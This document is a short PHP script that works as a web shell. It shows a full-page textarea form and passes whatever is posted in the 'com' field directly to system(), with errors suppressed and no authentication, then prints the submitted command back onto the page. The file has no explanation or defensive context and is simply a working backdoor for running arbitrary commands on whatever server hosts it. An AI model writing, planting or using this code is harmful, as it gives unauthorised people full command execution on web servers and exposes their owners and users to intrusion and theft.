<?php print <<<HERE <style type = "text/css"> body { margin: 0px; } </style> HERE; if(isset($_POST["com"])) { @system($_POST["com"]); print <<<HERE <table width = "100%" height = "100%" border = "0" cellpadding = "0" cellspacing = "0"> <tr> <td style = "background-color: gray;"> <form> <textarea style = "width: 100%; height: 100%; color: white; background-color: #555555"> HERE; print $_POST["com"]; print <<<HERE </textarea> </form> </td> </tr> <form method = "post"> <tr> <td width = "100%" height = "80%"> <textarea name = "com" style = "width: 100%; height: 100%; color: #ededed; background-color: black"></textarea><br /> </td> </tr> <tr> <td width = "100%" height = "10%"> <input type = "submit" value = "yes" style="width: 100%; height: 100%;"> </form> </td> </tr> </table> HERE; } else { print <<<HERE <table width = "100%" height = "100%" border = "0" cellpadding = "0" cellspacing = "0"> <form method = "post"> <tr> <td width = "100%" height = "90%"> <textarea name = "com" style = "width: 100%; height: 100%; color: white; background-color: black"></textarea><br /> </td> </tr> <tr> <td width = "100%" height = "10%"> <input type = "submit" value = "yes" style = "width: 100%; height: 100%;"> </form> </td> </tr> </table> HERE; } ?>